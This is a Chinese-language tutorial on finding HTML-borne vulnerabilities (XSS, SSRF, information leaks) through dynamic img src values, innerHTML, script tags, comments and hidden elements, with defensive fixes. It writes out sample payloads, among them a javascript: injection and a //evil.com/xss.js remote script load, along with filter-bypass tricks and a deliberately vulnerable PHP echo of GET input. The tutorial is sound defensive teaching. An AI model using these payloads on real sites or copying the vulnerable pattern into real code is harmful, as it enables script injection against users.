html本身不执行逻辑,但它是xss、信息泄露、ssrf入口的关键载体;排查核心是追踪用户输入如何落到img src、a href、script、innerhtml、document.write等可渲染位置,重点校验src协议与域名白名单,严防javascript:/data:/ssrf载荷。

直接说结论:HTML 本身不执行逻辑,但它是 XSS、信息泄露、SSRF 入口的关键载体;排查 HTML 漏洞,核心不是“看语法对不对”,而是追踪用户输入如何落到 HTML 中的每个可渲染位置——尤其是 <img src="...">、<a href="..."></a>、<script></script>、innerHTML=、document.write() 这几处。
<img src> 属性值怎么验才不漏 SSRF/XSS?
常见错误现象:
- 页面显示一张头像或商品图,src 是动态拼接的,比如
<img src="/uploads/<?php%20echo%20%24_GET['id'];%20?>.jpg"> - 攻击者传
id=1.jpg%00javascript:alert(1)或id=//evil.com/xss.js,浏览器仍尝试加载
关键判断点:
- src 是否直接受用户控制(GET/POST 参数、Cookie、Referer、甚至 localStorage 读取后赋值)
- 是否做过协议白名单校验(只允许
http://、https://,严禁javascript:、data:、file://、//开头) - 是否做过域名白名单(比如只允许
cdn.example.com,而非任意子域)
实操建议:
- 在开发者工具中右键“查看页面源代码”,搜索
<img>,定位所有动态 src - 用 Burp 抓包,修改参数测试响应体是否反射进 src 属性(注意响应是否被 JS 动态写入)
- 若后端返回 JSON 再由前端 JS 渲染图片,检查 JS 里是否用了
element.src = data.url而没过滤
<script></script> 标签和 innerHTML 为什么是 XSS 高危区?
使用场景:
- 搜索结果页把关键词高亮:
<span class="highlight">=$_GET['q']?></span> - 富文本编辑器内容直接
document.getElementById('content').innerHTML = data.html - 前端模板引擎(如 Handlebars)未开启自动转义
容易踩的坑:
- 认为“前端没发请求就安全”——错,XSS 只要能执行 JS 就算成功
- 用正则替换
<script></script>标签——绕过太容易(<scr>ipt></scr>、大小写混写、注释干扰) -
textContent和innerText混用——innerText受 CSS 影响,不可靠;必须用textContent或服务端 HTML 实体编码
实操建议:
- 所有用户输入插入 HTML 文本节点前,强制走
textContent - 若必须插 HTML(如富文本),用 DOMPurify 等库净化,而不是自己写过滤逻辑
- 检查
<script></script>标签内是否有document.write()、eval()、setTimeout("...")等危险调用,它们常藏在第三方统计脚本或旧版广告代码里
HTML 注释、meta 标签、隐藏 div 里真没敏感信息?
常见错误现象:
- 扫描发现
<meta name="generator" content="WordPress 5.2.1">→ 对应 CVE-2019-17671 - 注释里写着
<!-- TODO: remove debug mode -->或<!-- dev server: http://192.168.1.100:8080/api --> -
<div style="display:none">DEBUG_TOKEN=abc123</div>
为什么容易被忽略:
- 工具扫描通常不解析注释和隐藏元素
- 开发者认为“用户看不到就不会泄露”,但爬虫、代理、自动化脚本全都能读
实操建议:
- 用
curl -s URL | grep -i -E "(debug|token|key|password|TODO|FIXME)"快速扫一遍 - 浏览器按 Ctrl+U 查看完整源码,手动翻页尾部、head 区域、注释块
- 检查所有
style="display:none"、class="hidden"、aria-hidden="true"的元素内容,它们可能包含调试数据或临时密钥
HTML 漏洞排查最麻烦的从来不是技术点,而是人眼疲劳和上下文断层:一个参数从 URL 进来,经 JS 处理,再拼进 innerHTML,最后又被某个第三方 SDK 二次渲染——中间任何一环没转义,整条链就崩。所以别迷信单点检测,重点盯住“输入→输出”的完整路径。
前端入门到VUE实战笔记:立即使用
在学习笔记中,你将探索 前端 的入门与实战技巧!











